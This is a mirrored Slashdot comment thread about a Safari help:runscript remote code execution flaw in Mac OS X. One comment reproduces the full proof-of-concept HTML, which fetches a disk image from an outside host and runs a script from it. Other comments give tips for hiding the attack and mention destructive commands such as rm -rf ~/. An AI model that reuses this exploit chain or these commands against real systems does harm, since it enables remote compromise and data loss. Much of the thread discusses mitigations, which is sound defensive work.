Slashdot Mirror
Safari Falls Victim to Remote Code Exploit
A user writes, "A new vulnerability has been found in Mac OS X's Safari, which will launch Help.app and run an arbitrary script with a URL like 'help:runscript=...', assuming a known path (which is possible when Safari is set to automount disk images (which is the default)). A nice working demonstration is available on insecure.ws while the incident has been reported on Full-Disclosure."
According to a forum post on MacNN, this has been known since February...
"Democracy is three wolves and a sheep voting on what to have for dinner."
That's not really enough. A page can have a redirect to another page, or even have a tiny subframe that loads that "url" to execute a command to wipe out data.
I downloaded MisFox 1.2.1 and changed the Help Protocol Helper to Chess. For good measure I unchecked "Open 'safe' files after downloading" in the general preferences of Safari.
If you disagree then it must be overrated, redundant or trolling.
Then load up Metallifizer, and they all will!
Ceterum censeo subscriptionem esse delendam.
We don't allow help: URLs in Slash. :p
Oh, come on man. This is a big deal, and the user doesn't have to do anything special -- just visit a web page -- after that it is all automatic.
. dmg">
s /English.lproj/shrd/OpnApp.scpt string='Volumes:0x04_script:0x04_script.term'">
The prof of concept link in the article was very simple:
The linked file 0x04_test.html:
<html>
<head><title>Safari runscript remote execution: Proof of concept</title></head>
<frameset cols="1%, 99%">
<frame src="0x04_get.html">
<frame src="0x04_exec.html">
</frameset>
</html>
0x04_get.html:
<html>
<head>
<meta HTTP-EQUIV="refresh" content="0; URL=http://membres.lycos.fr/manzflash/0x04_script
</head>
</html>
0x04_exec.html:
<html>
<head>
<meta HTTP-EQUIV="refresh" content="10; URL=help:runscript=MacHelp.help/Contents/Resource
</head>
<body>Please wait for the disk image to be downloaded and mounted, it will take a few seconds.
<br>The script will execute automatically afterwards.
<br><br><pre>If your line is too slow and the dmg take too much time to download, reload the page when it is done, as this cannot be checked.
</pre></body>
</html>
Basically the 0x04_test.html file retrieves two pages, the first 0x04_get.html automatically downloads and mounts a disk image containing one file which contains the payload. The other file 0x04_exec.html uses your browser and the help system to automatically execute the script in the disk image.
Of course the payload in the proof of concept is harmless although I only glanced at it and had not had time to study it. It appears to place a text file in your home directory and echo the text:
"You have been compromised. No harm have been done. Contents of this script can be found in 0x04_script.term on your desktop. You can delete the file owned.txt in your home directory. It was a remote code execution example by http://insecure.ws" > owned.txt ; open owned.txt
Now exactly how this is not a big deal only you sir can know. But I for one am not taking this lightly as no one should -- especially Apple.
All html source courtesy of curl.
Win a signed Stephen Carpenter ESP Guitar from the Deftones: http://def-tag.com/?r=0008781
Here's where you can get a utility that allows you to change these settings: More Internet - http://www.monkeyfood.com/software/moreInternet/
The vulnerability was first discovered in Opera, and was later found to also exist in Konqueror of KDE fame. Since Safari is based on the Konqueror code, that's probably where it came from.
-
sig sig sputnik
It's not that simple. From what I understand, you can only launch AppleScripts with a help:runscript URL. But how do you get your script on the user's system in a known location? AppleScripts don't expand the user home directory from ~ or $HOME. The trick is put the script and your other malicious executables on a disk image and to automount that first, since they are mounted in a known location. Contrary to the article summary, Safari does not need to be set to automount: Safari will automount whatever follows a link of the form disk:// regardless of user settings. So to run this effectively you need to set up a webpage the disk image and refresh tags and some javascript and/or frames to obfuscate the URLs.
sudo chmod 000 /System/Library/CoreServices/Help\ Viewer.app
instead. Of course, you should be using OS X as a non-root user. Root will be able to run the help subsystem without any trouble.
""" :-) have changed perms to give themselves ownership of every file, in which case this would wipe every file. So the statement is accurate.
/" as a normal (or even Admin) user cannot cause the entire hard drive to be deleted. This does not detract (much) from the seriousness of this exploit, but let's not get carried away with the alarmism.
An admin user has privileges to delete files other than those merely in his HOME. And some stupid users (including one of my friends
"""
That's a bit like arguing "turning a computer on can cause it to explode" is an accurate statement because the user may have put plastic explosives in the case and wired them to the power switch.
On any reasonably well maintained OS X system executing "rm -rf
Also, if your friend's system is still running I doubt he has changed the permissions of *every* file unless he's a very talented programmer. OS X won't load kernel extensions unless they're owned by root:wheel, and other bits of system software have similar permissions restrictions. If he's logging in as root, well, that's another issue entirely...
But just to prove the point, I did this, using the OSAShell language (which allows writing OSA scripts using a basic shell syntax):And now that I know it works, I go to my current browser, Camino, and try:Of course, it's a silly example, but I just wanted to make sure it wasn't only AppleScript, because that'd be just weird!
You can find an application to fix the remote exploit here:
MisFox
Tab to the Protocol Helpers, find help:, choose a different application. I used TextEdit.
You can verify that the exploit is disabled by cutting and pasting the following to your Safari Address Bar:
help:runscript=../../Scripts/Info Scripts/Current Date & Time.scpt
TextEdit runs, but the (harmless) script doesn't.
> You have get the user to download the code by themselves before you may execute it.
You probably only need to direct them to your website, the rest can be done automatically with javascript and refresh.
> but I set my DMGs to not automount a LONG TIME AGO.
That won't help as images following disk:// will still automount. The workaround is to redirect the help: protocol to a different app.
The proof of concept also runs from the OmniWeb 5 Beta and Internet Explorer 5.2.
It could also run from FireFox although because FireFox checks to see if you really want to download an executable, help tries to run the script before it's actually there.
It fails in Opera with the error "The address type is unknown or unsupported."
Those are all the browsers I have to check on.
I get the impression (only from the /. blurb so far) that this hole is, by orders of magnitude, more serious than anything reported for Mac OS X previously.
There was one equally as bad, almost 18 months ago. I think it was August 2002.
a telnet:// URL could be used to do the same thing - with a pipe in the url, telnet could be run and piped out to another command that did anything an attacker wanted.
The good news that time was that a security update was released 9 hours after the discoverer (in japan) reported it to Apple.
Bad bug, quick fix. I hope the same applies in this case.
This is much more serious than the articles let on. This security vulnerability in MacOS X affects all web browsers. There's a non-malicious example of the seriousness of the problem here:h at just runs a harmless script (/usr/bin/du; exit) which scrolls a bunch of text and looks scary, but it could easily have been a script to wipe your home directory, and you could have had some serious data loss (i.e. rm -rf ~/).
/Library/Documentation/Help). This will prevent people from linking to the script runner. This vulnerability is very serious, and doesn't even have to involve downloading a DMG. Once the "Help" folder is renamed, you won't be able to use the Mac Help center anymore, but at least you will not be at risk of having your data wiped by clicking on a link, or visiting a malicious site. DO THIS NOW!!!!!
http://bronosky.com/pub/AppleScript.htm
T
To fix the vulnerability, simply navigate to your MaOS X drive, go to the Library folder (not the one in your home folder, but the one in the root directory of your HD), and then to the Documentation folder, and rename the folder "Help" to something else (located at
"I like systems, their application excepted", George Sand (French)
You can create an account with no password, but it is not the default, and Mac OS X will warn you that it is dangerous to do so ("Are you sure...?").
There ain't no rules here; we're trying to accomplish something.